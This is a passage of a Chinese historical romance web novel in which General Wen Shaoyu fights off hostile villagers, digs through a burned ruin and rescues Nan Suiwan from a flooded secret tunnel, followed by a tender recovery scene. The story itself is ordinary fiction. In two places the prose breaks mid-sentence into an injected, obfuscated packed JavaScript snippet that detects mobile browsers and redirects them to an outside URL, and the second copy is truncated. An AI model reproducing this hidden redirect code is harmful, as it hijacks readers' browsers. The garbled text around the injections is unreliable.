温少虞的心,猛地一沉,像是被一只无形的手攥住,狠狠往下坠。他刀锋一转,荡开三柄劈来的竹刀,声线却冷得像冰:“周莽!” “属下在!”勇武魁梧、一身腱子肉的偏将周莽一刀砍翻一个村民,应声回头,满脸血污。 温少虞的目光死死钉在那片火海,命令不容置喙:“带一半人,去护着她。” “将军!”周莽大惊失色,“您这里…” “去!”一个字,带着千钧之力。 周莽咬碎钢牙,不敢再言,点了一半亲卫,如猛虎出闸,冲向内席的混乱火场。温少虞身侧的防护,骤然空虚,压力陡增。 他却仿佛未觉,只是那双眼眸愈发深邃,刀式变得更简洁、凌厉,每一刀都奔着要害而去。一道寒光抹过喉咙,一记重劈斩断臂膀。 噗嗤——一柄淬毒的尖刀,终是寻到空隙,在他左臂上划开一道深可见骨的血口。他身形仅是微微一晃,甚至没有低头去看。 那剧痛,反倒成了催命的鼓点。刀光更快,更狠。血花在他周身不断绽放,有敌人的,也有他自己的。 一炷香的功夫。当最后一个村民被长刀贯胸,钉死在泥地上,这场短暂而惨烈的厮杀,戛然而止。 风中,只剩下血腥气与草木烧焦的气味。温少虞提着滴血的长刀,立于尸骸之间,左臂的血,将玄色衣袖浸染得更加深沉。 村正韦贤,是唯一的活口。他被绳索捆得结结实实,押跪在地,目光呆滞地看着不远处他妻子的尸体,以及满地同伙的残骸。 军医匆匆上前,为温少虞处理伤口,一面禀报:“将军,伤口有毒,但无大碍。那些士族公子亦无性命之忧,只是中的迷药霸道,需半日方能清醒,若强行唤醒,恐伤神志。” 温少虞“嗯”了一声,眼神却始终望着那片已成焦土的废墟。火已经被赶去驰援的亲卫扑灭了,但屋子塌了。 周莽去而复返,重重跪倒在地,那魁梧的身躯,此刻竟在微微发抖。 他垂着头,声音低哑,充满了请罪的恐惧:“将军…属下无能。属下赶到时,内席已乱,只来得及救下几位夫人和丫鬟。可…属下没看见过南小姐。” 温少虞的呼吸,停了一瞬。 一个侥幸逃生的丫鬟,被带到跟前,早已吓得魂不附体,语无伦次:“南…南小姐…跟着韦大娘…就是村正的夫人,进了那间屋子…说是…说是要看什么祈福的图样…然后…然后门就锁了,再然后…就着火了…再没出来…谁也没出来…” 那座楼塌了,只剩一片废墟。温少虞的瞳孔,在一瞬间急剧收缩。周遭的一切声音都消失了。他只能听到自己胸腔里,那一声比一声更重、更急的心跳。 他睁大了眼睛,死死盯着那片焦黑的土地,仿佛要将它看穿。呼吸变得急促而滚烫,每一次吸气,都像在吞咽烧红的炭火。 全身的肌肉,不知不觉间,已绷得如铁石般僵硬。咽喉深处,泛起一阵阵尖锐的疼痛,像被刀子来回刮擦。胸口像是被最坚韧的牛皮绳死死勒住,几乎要喘不过气来。 四年,他守了她四年。原来,竟是守着她走向死亡么? 就在这片死寂的绝望中,一个沙哑的、带着诡异笑意的声音,突然响起:“呵呵…呵呵呵…” 是那个被俘的村正,韦贤。他缓缓昂起头,呆滞的眼神里,此刻竟全是怨毒与快意:“你杀我妻。我妻,亦杀你妻。” 温少虞猛地转头,那眼神,像是要将韦贤生吞活剥。 韦贤却笑得更加疯狂,唾沫横飞地嘶吼起来:“都怪南贼!都怪那个狗.官!若不是他跟着季贼、跟着你温贼兴风作浪,季贼那条泥鳅怎会次次滑脱!怎会像野草一样,烧不尽,吹又生!” 他的目光,怨毒地扫过温少虞,最后落在那片废墟上,充满了报复的快感:“你以为你护的是谁?!她就是南贼的女儿!那个早该死了的贱.种!被献祭给天火,烧死她,活该!这都算便宜了她!” 轰——温少虞脑中最后一根弦,应声断裂。滔天的怒火与无边的恐惧,瞬间将他吞噬。他一个箭步上前,五指如铁爪,死死掐住了韦贤的脖子! “你说什么?!你再说一遍!” 韦贤的脸因窒息而涨成紫红色,眼中却没有半分恐惧,反而闪过一丝得逞的诡光。他用尽最后的气力,猛地一咬牙。 “咯噔”一声脆响。藏在臼齿中的毒囊被咬破了。黑血顺着他的嘴角淌下。韦贤的身体猛地一软,脑袋重重垂下,再无声息。 长风吹过。温少虞僵立原地,手中还掐着一具尚有余温的尸体。耳边,却只剩下那句恶毒的诅咒,一遍遍回响。 …她就是南贼的女儿。 …烧死她,活该。 6. 密道尽头 风吹过。温少虞手中尚有余温的尸体,如破败草袋般坠地。 温少虞没有再看韦贤一眼。那句“烧死她,活该”像淬毒的烙铁,在他心上烫出一个血肉模糊的窟窿。 他不信,她怎么会死。 军医的声音在身后响起,带着急切的劝阻:“将军!您的伤口!毒素尚未清,不可妄动!”温少虞恍若未闻,玄色的身影一晃,已朝着那片废墟冲去。 左臂的剧痛与毒素带来的晕眩,在此刻,都及不上心口万分之一的恐慌。他踉跄着,踏入尚在冒着青烟的焦土。热浪灼人,浓烈的焦糊味混着血腥气,直冲口鼻。 破碎的土石,熏得乌黑的断壁。一片残存的壁画上,有什么东西,在幽暗中反着诡异的光。是重瞳,巨大而苍老古朴,哪怕被烈火熏燎,依旧透着邪异。 重瞳烈火。温少虞的瞳孔骤然一缩。这不是什么祈福纹样,这是闻香教的图腾,是当年盘踞在琼水之上的匪帮,琼水帮所信奉的邪教。 温少虞记得清清楚楚,那时琼水帮里的南岁莞,每次提起害得父兄残戮无辜的闻香教时,眼中都是毫不掩饰的厌恶与憎恨。 她是被困在了自己最痛恨的噩梦里。那场火,是烧在她最深的恐惧之上。 “啊——”一声压抑到极致的嘶吼,从他喉间迸出,像一头濒死的困兽。他狠狠一口,将自己的下唇咬出了血。 铁锈味在口中弥漫,尖锐的疼痛,让他从那片灭顶的绝望中,寻回一丝疯狂的清明。 她那么聪明,那么会逃。她一定还活着,一定。 温少虞猛地转身,一双布满血丝的眼,扫过所有亲卫:“挖!”声音沙哑,却带着不容抗拒的威严。 他抽出了腰间那柄跟随他征战多年、锋锐无匹的“破阵”。“锵”的一声,宝刀没有劈向敌人,而是狠狠地砸向一块巨大的焦黑石梁。 火星四溅,石屑纷飞。刀锋应声卷起一个微小的豁口。所有人都被他这个动作震住了。 “都聋了吗!”他再次咆哮,用那柄人人艳羡的宝刀,一下又一下地,疯狂地敲砸着阻碍,“挖!把她给我找出来!” 周莽第一个反应过来,他看着将军几近癫狂的模样,巨大的愧疚淹没了他:“是!”他大吼一声,扔了兵刃,徒手就去搬那些滚烫的石块。 “所有人,听令!留一队看护诸位公子,其余人,搜救南小姐!” 亲卫们轰然应诺,冲入废墟,一场与死神的争夺,就此开始。 他们从深夜挖到了黎明。火把的光,渐渐被天边泛起的鱼肚白取代。林中的喜鹊开始鸣叫,清脆的啼声,在此刻听来,却无比刺耳。 没有。什么都没有。连一丝血迹,一片衣角,都找不到。她就像一缕青烟,被那场大火彻底吞噬,了无声息。 温少虞早已让几批力竭的亲卫退下休息。身边,只剩下十几个还在默默坚持的士兵,他们手指通红,满是血口,眼睛里亦是熬出来的血丝,身形摇摇欲坠。 到最后,连那十几个士兵也撑不住了。他身边竟只剩下一个周莽,那个因为失职而拼命挖掘,仿佛想用一身伤痛来赎罪的偏将。 温少虞停下了动作。他缓缓转头,看向周莽。周莽也抬起了头。晨曦的微光里,他们从对方的瞳孔中,映出了彼此疲惫至极、满是血污与绝望的脸。 背对着睡去与守夜的众人,温少虞宽阔的脊背,在晨光中微微一颤。清泪就这么毫无征兆地,从泛红的眼眶里涌了出来。没有声音,只是无休无止地,淌过他染着烟灰的脸颊。 四年,他守着她,却连她被困于此,都一无所知。他算什么守护。 周莽看得心头一酸,喉咙发紧,哑着嗓子道:“将军…属下陪您挖。” 温少虞的喉结极轻地滚动了一下,发出一声几乎听不见的哽咽:“…就再让我试试。” 他指尖的血,早已凝固成暗沉的痂。那一声“再让我试试”,与其说是对周莽说,不如说是对他自己最后的哀求。 他已不抱希望。只是麻木地,用那柄卷了刃的“破阵”,一遍遍地,凿着这片埋葬了他所有光亮的焦土。 天光一寸寸亮起,驱散了林间最后一丝阴冷,已是辰时。冬阳和煦,光线透过稀疏的枝叶,在废墟上洒下斑驳的光点,暖得有些刺眼。 温少虞的动作未停,他对着那片残存的“重瞳”壁画之下,再次狠狠砸下。 “砰!”一声异样的闷响,从焦土深处传来,不是石块碎裂的脆响,而是某种中空之物被击破的声音。 周莽疲惫不堪的眼,瞬间一凛。温少虞的动作也为之一顿,他发须杂乱,衣衫残破,唯独一双眼,在听到那声异响时,猛地迸出一丝惊人的光。 他没有丝毫犹豫,用刀柄对准原处,再次发力。“咔嚓——”这一次,是清晰的破裂声。下一瞬,一股冰冷的水流,竟从那破口处猛地喷涌而出,溅湿了他满是尘土污迹的衣摆。 水?这地底,怎会有水? 温少虞死寂如古井的眼底,骤然炸开一团烈火。他通红的眼尾似乎都因此而战栗。 有水管!这绝非寻常村落的建制。既然能铺设如此隐蔽的水路,那便极有可能…还有一条同样隐蔽的密道! 她没有被烧死,她逃了!这个念头如惊雷般在他脑中炸响,将所有的疲惫、伤痛、绝望,尽数劈得粉碎。他僵直的脊背,瞬间挺得笔直。 一切都对上了。南岁莞为了求稳妥,才临时决定绕开官道,走了楼桑村这条近路。而他们原本的目的地,是她父亲的故里,石碣村。 倘若这楼桑村的村民,从一开始的目标就是他们这一行人…那么这条暗道的尽头,最有可能通向的地方,便是他们的必经之地——石碣村! 温少虞霍然转身,那双布满血丝、熬了一夜的眼,此刻炯炯发光,亮得惊人,映衬着他狼狈不堪的模样,有一种近乎癫狂的灼人神采。 周莽被他看得心头一震:“将军?” “周莽,”温少虞开口,声音沙哑得像被砂纸磨过,却字字清晰,带着不容置喙的威严,“你留下,带一队人看护好谢灵他们。待他们转醒,立刻启程,去石碣村与我汇合。” 周莽猛地反应过来,巨大的狂喜涌上心头:“将军!您的意思是,南小姐她…” “她还活着,”温少虞斩钉截铁地打断他,每一个字都像是用尽了全身的力气,却又充满了失而复得的狂喜。 他环顾四周,点了三个尚有余力的亲卫:“你们,随我走!”言罢,他已大步流星地朝林边拴马处走去。左臂的伤口在剧烈的动作下再度撕裂,毒素引发的晕眩阵阵袭来,他却恍若未觉。 一路马蹄翻飞,风驰电掣。凛冽的冬风如刀子般刮过他的脸颊,灌入他的喉咙。可他感觉不到冷。 他心中只有一团火在烧。岁岁,你一定要撑住,一定要在石碣村,等我。 他俯身在马背上,将速度催至极致,脑海中只有一个念头在疯狂叫嚣:这一次,我绝不会再把你弄丢,绝不。 哪怕你恢复记忆,记起琼水之上的一切,要将我千刀万剐,哪怕你恨我入骨,永不原谅,只要你活着,只要你还好好地活在这个世上,我温少虞这条命,这条贱命,随时都可以给你。 · 密道之内,是永恒的夜。这里没有时间、没有声音、没有光,只有南岁莞自己的呼吸,和指尖抠入湿冷泥土的触感。 她不知道自己爬了多久,一个时辰,或是一日。左臂的伤口像有无数蚂蚁在啃噬,痛楚早已麻木,只剩下一种沉重僵硬的拖累。 她只是爬,像一只被抛入深渊的蝼蚁,朝着虚无的、不知是否存在的前方,一寸寸挪动。 指节因过度用力而不住抽搐,脖颈僵硬得仿佛随时会断裂,每一次屈伸,都是一场酷刑。她不能停。停下来,就是死。黑暗会吞噬她,寂静会逼疯她。 “滴答,”一滴滴水,落在她前方的石板上,清脆又规律。南岁莞停下动作,侧耳倾听,“滴答”,又一滴。在这绝对的死寂里,这水滴声,竟成了天地间唯一的天籁。 她开始数:一、二、三…她用这单调的节拍,在脑海中为自己丈量着时间的流逝。 当水漫过她向前伸展的手肘,手臂的酸痛已让她浑身抑制不住地颤抖。她停下来,用右手胡乱揉捏着那条受伤的左臂。隔着撕裂的布条,触感黏腻湿滑。 天,应该亮了吧,她在心里对自己说,外面应是日出了。这个念头,给了她一丝虚幻的暖意。 她继续向前爬,跋涉过越来越高的水面,像是在一片死寂和黑暗中,蜷伏躬身,走一条没有尽头的绝路。 终于,她的指尖触到了一面冰冷的、平整的墙壁。是尽头!巨大的狂喜冲上脑海,让她几乎要落下泪来。 她挣扎着,用尚有余力的右手摸索着这面石壁。很平滑,没有缝隙。她的心,一点点沉下去。不对。 她摸到了一个冰冷的铁器,像是一个门环,却焊死了,纹丝不动。在门环下方,她摸到了一个凸起的、坚硬的轮廓。横,竖,撇,捺… 那笔画的走向,清晰而熟悉。她用指腹一遍遍地描摹。是…“石”。一个石字。这道门,被人从外面反锁了。 绝望如冰冷的海水,瞬间将她灭顶。她不甘心。她蜷缩在地上,摸索到一块从隧道壁上掉落的、棱角分明的石头。 石头硌得掌心生疼。她用尽全身力气,朝着那个“石”字,狠狠砸了下去。 “咚!”一声沉闷的巨响。她的手被震得发麻。“咚!咚!咚!咚!”她像个疯子,不知疲倦地,用这块石头敲击着唯一的出口。每一次撞击,都耗尽了她积攒的微薄力气,也耗尽了她肺里稀薄的空气。 周遭的空气,似乎有了一丝极细微的变化,不再是纯粹的泥土腥气。一丝丛林草木的湿润气息,混杂着冷雨的味道,从看不见的缝隙里透了进来,冰凉而鲜活。 石…石碣村。这里是石碣村,她猜到了。这让她敲击的动作愈发用力,也让她失血的身体感到一阵阵眩晕。彻骨的寒意顺着湿气钻入骨髓,她打了个寒颤,视野开始阵阵发黑。 “不能睡,”她对自己说,声音在喉咙里破碎不成形,“睡过去,就真的死了。会死在这无人知晓的密道里,化为一具枯骨。” 她停下敲击的动作,大口喘息,用仅存的理智对抗着席卷而来的昏沉。黑暗中,一张清冷孤傲的脸,毫无预兆地闯入她混乱的脑海。 温少虞…你会想到这里吗?你会…也猜到,这条路的尽头,是石碣村吗?她觉得这猜想荒谬无用得可笑。可是在这绝对的黑暗与绝望里,这成了她抓住的最后一根稻草。 温少虞。若是你…会不会,有一丝可能,能找到我? 她闭上眼,将额头抵在冰冷的石门上,用最后的力气,再次举起了手中的石头。哪怕只有万分之一的可能,她也要敲下去。 敲到…他来为止。或是,敲到她死。石门上冰冷的触感,是她与人间唯一的联系。 “温少虞。”不知过了多久,南岁莞仰着头,积水几近要漫过她纤细的脖颈,她又一次想到了这个名字,“你怎么…还不来?” 这个念头如野草般疯长,又被她自己狠狠掐灭。不。南岁莞,你没有资格怪他。是你自己轻敌冒进,是你自己识人不清,才会被困在这不见天日的死地。 她垂下头,额头抵着粗糙的石块,力气正一点点从指尖流逝。若是就这么死了…遗言该说什么? 南岁莞的脑海中却一片空白,只剩下浓得化不开的愧疚。莲子寺遇劫,是她连累了茯苓茜草。楼桑村遇难,又是她牵扯了无辜的侍从。 她就像个灾星,走到哪里,就把厄运带到哪里。或许,死在这里,是对所有人的解脱。 她甚至开始奇怪,自己这一身利落的武功,究竟是从何而来?为何她总是在用它…伤害身边的人,或是把自己推入更深的险境? 意识渐渐模糊,敲击石门的手,无力地垂落。好冷。不,又好像…暖和起来了。那是一种被温暖的绒毯包裹的舒适感,骨头缝里的寒意都被驱散了。 她看见了光。不是火光,是那种午后慵懒的、透过竹帘洒进来的,带着微尘浮动的柔光。只要闭上眼,只要安安静静地,乖巧地死去,就能去到那个地方。 她看见自己斜倚在一张铺着白狐皮的软榻上,身上是轻软华贵的云锦华服。手边的小几上,摆着精致的玉碟,盛着她叫不出名字的甜点与佳肴。 她好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042190|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像刚刚练完一套剑法,又随手拈起一株银针,试着一碗汤药里的成色,自在,惬意,无拘无束。身边还坐着一个模糊的影子,一个眉眼清隽的美少年,正低头为她剥着一颗颗晶莹的荔枝。 这才是她想要的人生。不用对任何人负责,不用为任何决定而愧疚。 就在这时,“轰隆——!”一声震耳欲聋的巨响,将她整个幻梦砸得粉碎。 她愕然抬头。眼前的石门,那个被她敲击了无数次的“石”字,从中间骤然炸裂开来。光,刺眼的光,裹挟着泥土与碎石,疯狂涌入。 她甚至忘了躲避。她只是呆呆地看着,看着那个从天光与尘埃中冲进来的人影。他一身玄黑锦衣已满是破口与尘土,发冠歪斜,俊美无俦的脸上尽是仓皇与疯魔。 是她幻觉里的那个美少年,只是比幻觉…更真实,更清晰。 下一瞬,她被一个滚烫而用力的怀抱,死死地箍住了。土石簌簌落下,全被他宽阔的背脊挡住。她被积水冻得麻木的四肢,这才缓缓感觉到,外面不知何时下起了冻雨。 冰冷的雨珠混着碎石,砸在他背上的声音,噼啪作响,竟有些清脆。他却将她护得密不透风,仿佛要将她嵌入自己的骨血里。 熟悉的,清冽的柏木冷香,蛮横地占据了她所有的感官。这个怀抱…她忽然想起来了。 南岁莞用尽最后的力气,倔强地从他温暖而颤抖的怀中抬起头。 她看见他紧闭着眼,长长的睫毛上挂着水汽,不知是雨水,还是泪水。她看见两行清澈的泪珠,正顺着他沾满灰尘的脸颊,无声地滑落。 她伸出那只尚能动弹的右手,用冰凉的指腹,轻轻抹去他眼角的湿痕。然后,她听见自己用一种沙哑却异常清晰的声音,开口说道:“小虞,别怕。” 这四个字,如同一道惊雷,在温少虞混沌的脑海中轰然炸响。温少虞抱着怀中人,整个人僵在了马背上。时间仿佛在这一刻凝固了。 · 就在半日前,晴空万里的天,过了午时,却毫无征兆地阴沉下来。铅灰色的云层压得极低,仿佛一伸手就能触到那片湿冷的沉重。 紧接着,雨点便砸了下来。不是春日温柔的细雨,而是裹挟着寒气的冻雨,砸在盔甲上,铿锵作响,砸在皮肉上,刺骨生寒。 搜寻的队伍仍在前行,只是所有人的脚步都慢了下来,脸上挂着被雨水冲刷不掉的疲惫与绝望。温少虞勒住缰绳,停在山岗上。 雨水顺着他紧绷的下颌线滑落,玄黑的锦衣湿透,沉重地贴在身上,冷得像铁。他默默凝望着远方连绵起伏的山峦,那里被雨雾笼罩,一片死寂。 会不会…是他又一次判断错了?这个念头,像一条毒蛇,缠住了他的心脏,越收越紧。 又是这样。每一次,当他以为自己能掌控一切时,现实总会给他最沉重的一击。父亲战死漠北,母亲伤重不治,岁岁跳河失忆…他守不住,他好像谁都守不住。 是不是因为他太过傲慢,是不是因为他永远都不够优秀?那股熟悉的,几乎要将他碾碎的无力感再度涌了上来,四肢百骸都开始变得僵硬。 就在温少虞快要撑不住,快要被这漫天冻雨与绝望一同吞噬时。“笃。”“笃笃。”一个极其微弱,却带着顽固节奏的声音,穿透雨幕,敲在他的耳膜上。 他骤然回神,僵硬的脖颈猛地转向声音的来源。是敲击石头的声音。希望的火苗,在他死灰般的眼底,轰然复燃。 他翻身下马,疯了般地扑进那片丛林。那些比寻常草叶更尖、更韧的植被,像无数把细小的刀子,划过他的小腿,割破了早已湿透的袜子。 皮肉被划开的刺痛,混着泥水的痒,他却浑然不觉。他所有的感官,都只追寻着那唯一的声响。 越来越近了。终于,在一处被藤蔓与苔藓覆盖得几乎看不出原貌的石壁前,温少虞停下了脚步。声音就是从这里面传来的。 他找到了。他小心翼翼地拨开那些湿滑的藤蔓,露出了一个刻着字的密道入口,没有机关。 他抽出腰间那把陪他征战多年的爱刀“破阵”,刀锋上早已有许多细小的豁口。他没有丝毫犹豫,将刀刃狠狠地插进石门的缝隙,撬动。 “轰隆——!”石门应声而开。就在密道打开的刹那,温少虞看见了南岁莞。 土石簌簌而下,直直砸向她蜷缩成一团的身子。而在那片刻,被冻雨反射的微光里,她像一尊在苦难中支离破碎,却依旧圣洁不染尘埃的神祇。 那一瞬间的美与易碎,狠狠刺痛了他的眼。他冲了进去,用自己的后背,为她挡住了所有坠落的碎石。然后,他将她抱了起来。 好轻。她在他怀里,只是娇娇小小的一团,残破又纤弱,仿佛一用力就会碎掉。 他用尽了平生最大的力气,也用尽了平生最极致的温柔,将她全须全尾地,牢牢地锁在自己怀中。 他抱着她,一步一步走出黑暗,跨上马背。也就在这时,他听到了那句话。“小虞,别怕。” 小虞。这个名字,是四年前,在琼水帮,那个明媚张扬、无法无天的少女,对他独一无二的称呼。 温少虞的脑子“嗡”地一声,眼前甚至黑了一瞬。他倒抽了一口冷气,呆呆地张大了嘴,低头看向怀中的人。 她记得?她什么时候想起来的? 他还没来得及问出哪怕一个字,身后就传来了杂乱的马蹄声。偏将带着迟了半日的大部队,终于赶了过来。人群中,一个白净幼瘦的小黄门,在看到他怀里抱着的南岁莞时,眼睛骤然一亮。 温少虞听力极佳,清晰地捕捉到那小黄门压低了声音,对身旁的同僚兴奋地说道:“陛下猜得真准!这次的喜,我来报!”话音未落,那小黄门便悄无声息地,从队伍的末尾溜走了。 温少虞的眉头微不可察地一蹙,却没有心思去管。他所有的注意力,都重新落回了怀中的女子身上。他轻轻地,试探地,用一种连自己都未曾察觉的、颤抖的声线,唤出了那个埋藏在心底四年的称呼。 “岁岁?” 怀中的人没有回应,呼吸均匀,似乎已经彻底昏了过去。只是那紧闭的眼角,却弯起了一个极浅、极淡的弧度,像做了一场得偿所愿的,甜美的梦。 7. 摸头杀 他 害 羞 石碣村,亥时已至。 屋内孤灯如豆,在潮湿的夜里晕开一圈昏黄的光。南岁莞的意识,就是被一道焦灼的声音,从无边无际的黑暗深渊里,硬生生拽回来的。 “温澹,你不是说她今日会醒?”是温少虞的声音,绷得像一张拉满的弓,压抑着几乎要崩断的焦躁,“都亥时了。” “哎呀,温将军,您别急嘛。”一道截然不同的声音响起,音色清润悦耳,像山间乐师拨动的琴弦,偏生语调慢悠悠的,带着几分婆婆妈妈的无奈,“小生说的是,若能醒,便是在这几个时辰里了。” 军医温澹叹了口气,言下之意,不言而喻:若这几个时辰再不醒,恐怕… “你再这么死死攥着拳,你那左臂的筋脉,就真要废了,”温澹的视线落在了温少虞紧握的左拳上,“你中的那毒,本就解得晚了,留了病根。这几日又像钉子似的扎在她屋里,不眠不休,铁打的身子也经不住这么耗。日后这长枪,还想不想握稳了?” 南岁莞的眼皮,重如千钧。她用尽了全身的力气,才勉强掀开一道细微的缝隙。就在她眼睫颤动的那一刹。 “醒了!”那个絮絮叨叨,节奏慢得能把人急死的温澹,却是第一个反应过来的。他的声音里,破天荒地带上了一丝真正的急切。 南岁莞的视线,依旧是一片模糊。孤灯,人影,在眼前晃动,重叠,怎么也看不真切。 喉咙里像是被塞了一把烧红的沙子,干涩,灼痛,连一丝气都喘得艰难。每一次呼吸,都牵扯着四肢百骸,带来滚烫的刺痛。高烧褪去后,皮肤上只留下一层黏腻的冷汗,贴着里衣,又湿又冷。 她想动一动手指,却发现身子软得像一摊烂泥,连抬起眼皮的力气都已是极限。 一只带着药草清香、却温暖干燥的手搭上了她的腕脉,是温澹。他仔仔细细地诊了半晌,终于长舒了一口气:“好了好了,险关是过去了。” 他又开始絮叨,“只是这身子亏空得厉害,得好生将养着,万万动不得气,不然落下病根,可是有碍寿数的。你等着,老夫亲自去给你煎药,那些毛头小子手脚粗,我不放心…” 竹帘被掀开,又“哗啦”一声合上。屋子里,再没有第三个人的呼吸声。死一般的寂静里,南岁莞听见了衣料摩擦的细微声响,和一声沉闷的、膝盖落地的声音。 他跪下了。那个身影,缓缓朝她的床榻前倾。 南岁莞终于看清了温少虞的脸。一双眼熬得通红,眼底却沉淀着化不开的温柔与痛惜。下颌冒出了青色的胡茬,衬得他面色愈发苍白。 那份平日里清冷内敛的将军模样褪了去,这份憔悴,反而为他添上了几分她从未见过的、儒雅的破碎感。 “岁岁,”他的嗓子哑得厉害,更衬得忧郁深情,惹人爱怜,“对不住。” 他跪在地上,望着她,一字一句,说的无比诚恳,无比沉重:“都怪我。是我没有看顾好那些人,才让他们有机会对你下手。是我没有察觉石碣村的异样,还将你带入险境。是我没有时时刻刻守在你身边。在你遇险之后…是我没有第一时间,把你救出来。” 南岁莞怔怔地看着他。这是她第一次,看见这个一向腼腆内敛,甚至有些嘴笨的男人,一口气说这么多话。 那些自责与愧疚,像潮水一般从他泛红的眼眶里涌出来,几乎要将她,也将他自己,彻底淹没。 南岁莞怔怔地看着他。她忽然觉得,他跪地的姿势,怎么这样熟练。 太像了。像她那些真假难辨的幻梦里,那个清秀隽美,总是跪坐在席上,为她细细剥着荔枝的少年。 那份专注又顺从的模样,让人又心疼,又更想爱怜。 南岁莞张了张口,喉咙里却像是有刀片在刮,一个音节也发不出来。也罢,她索性伸出了手。那只手虚弱无力,在昏黄的灯火下,显得格外苍白纤细。 她朝着他,那个乖乖地俯首,将头颅垂下的男人,慢慢地、坚定地探了过去。 温少虞的发,被一枚灰褐皮冠束得一丝不苟。那皮冠看着冷峻可畏,像山间嶙峋的岩石。可她的指尖真正落下时,触到的发,却浓密、柔软,顺滑得不可思议。 南岁莞的指腹轻轻摩挲。这触感,像把手探进了一团…由莹莹的白荔枝凝成的云朵里。就跟他的人一样,她想。 瞧着板正冷峻,内里却是个腼腆柔软的。 温少虞的身子,倏然一僵。头顶传来一点温热。那只手,轻轻地、安抚似的,揉了揉他的发旋。 是在…安抚他?温少虞的心,狠狠一颤。一瞬间,万般滋味齐齐涌上。 三分是敬慕,敬慕她这份身处绝境,却依旧从容强大的心性。三分是愧疚,愧疚自己身为强者,却反过来要她一个弱女子费心安抚。余下的四分,却是一种他无法自控的、熟悉的滚烫羞意。 一抹薄粉,从鼻尖悄悄蔓延开,烧红了脸颊。这感觉,太熟悉了。温少虞的思绪,被这轻柔的触碰,猛地拽回了四年前,在琼水帮的日子里。 她也最喜欢这样,让他跪在她面前。然后,她会弯下腰,伸出那双总是带着点顽劣气息的手,捧住他的脸。 脸颊和耳尖,便会在瞬间烧起来。那微痒的触感,让他每一次都拼命抑制着,才不至于让呼吸乱了章法。他忍不住想低头,想扭开脸,想躲开。 可她总能精准地固定住他的下颌。 那一双弯弯的眉,像极了天边的新月。一双活泼莹润的水杏眼,盈满了狡黠的笑意。那道直直的、亮得灼人的视线,总让他躲无可躲。 而她,就喜欢看他这副羞窘的模样,恶趣味地,不肯放过。她狡黠的笑,她固住他下颌时微凉的指尖,她亮得灼人的视线… 温少虞沉溺在那片回忆的滚烫里,几乎忘了今夕何夕。直到头顶那点温热的触感,倏然抽离。 他猛地回神。那只手的主人,却仿佛耗尽了所有力气。南岁莞松了手,又缓缓合上了眼,呼吸匀长,像是安稳地睡熟了。 温少虞僵着的身子,这才一点点松懈下来。他替她掖好被角,动作轻得像怕惊扰她。他悄然起身,预备退远一些,让她好生静养。 可温少虞一转头,却撞上一道鬼祟的视线。 温澹端着一碗热气腾腾的浓黑药汤,正扒在竹帘上。一见被他逮了个正着,那颗脑袋“嗖”地一下缩了回去,低头低得太快,反倒像做贼心虚。 温澹此刻心里正掀起惊涛骇浪。 南岁莞当真是个神人。连声都出不了,只消一个安抚的动作…就让将军这尊煞神周身的焦躁紧绷,顷刻间烟消云散。 瞧瞧这气色,红润得跟喝了十全大补汤似的。浑身上下,都散发着一股子让人牙酸的、被情爱滋养的酸腐气。 妙啊,妙啊。等圣上赐婚的旨意一到,这两位,一个心病一个身病,岂不都好治了?他这军医,往后的日子可就快活省事多喽。 温少虞的脸,腾地一下,比方才更烫了。他压低了声音,对着温澹那颗恨不得埋进地里的脑袋嘱咐:“百日娶的圣旨之事,先莫要告诉她。让她安心养着,其余的事,我来担。” 他不敢再看温澹那双洞悉一切的眼。更不敢想,她病成这样,自己竟还满心满脑都是这些羞耻的暧昧念头,连温澹那般迟钝的人都看出来了。 他必须静下来,像她会欣赏的那样,如富春江水,含蓄深沉,又沉静从容。 可越是想沉静,脑海里那些笑闹过的曾经,就越是翻江倒海,挥之不去。 温少虞心头一恼,几乎是落荒而逃。他快步回了自己的屋子,“砰”地一声合上门,连窗帘也一把拉上。 暖黄的烛火下,那暧昧的光晕将他鼻尖与脸颊的红扑扑,映得愈发明显。他背倚着门,因为方才那一场与自己的内耗,正微微地喘着气。 · 此后三日,温少虞再没踏足过南岁莞的屋子。他并非不想,而是不敢。 那晚她指尖的余温,似乎还烙在他的发旋上,滚烫得让他心惊。他白日里商议葬仪流程,夜里准备着百日娶,将自己埋进事务的沙土里,试图隔绝一切纷乱的念头。 只是,他越是忙碌,脑海里那张苍白的小脸就越是清晰。 他可正在开始偷偷筹备一场婚事。一场他欠了她四年,如今要用余生去偿还的大婚。他怕自己一见到她,那满腔翻涌的情意就会失控,会泄露出天机,扰了她的静养。 直到第三日午后,温澹来传话:“将军,南小姐醒了,想见您。”温少虞握着笔的指节,骤然收紧,在宣纸上洇开一团墨点。 他来了。那短短几步路,他走得像奔赴沙场。推开门,一股清苦的药香混着淡淡的兰香,扑面而来。 南岁莞半靠在床头,换了一身干净的素色襦裙,虽面色依旧有几分病中的清减,但眼眸却已恢复了神采。她静静地看着他,像一泓深潭,要将他的影子溺毙其中。 温少虞在她床边的圆凳坐下,手脚都不知道该往哪里放。“身子…好些了?”他嗓音干涩,问得小心翼翼。 她没有回答,只是专注地凝视着他。那目光里,有探究,有迷惘,还有一丝他看不懂的…羞赧。良久,她朱唇轻启。 “将军,我们…从前是不是在一起过?” 轰然一声。温少虞只觉得耳边有惊雷炸开,四肢百骸的血液,瞬间冻结。她想起来了? 南岁莞的脸颊,不知是因病还是因羞,浮着一层动人的潮红。她梦见了些零碎的、荒唐的片段。 她坐在一个躺着的男人身上。那人面色潮红,呼吸急促,想转头,却被她用脸颊强行贴了回去,不许他躲。 她甚至还梦见,一个赤着上身的少年郎,握着一杆银枪,额角挂着汗,脸红扑扑的,像熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 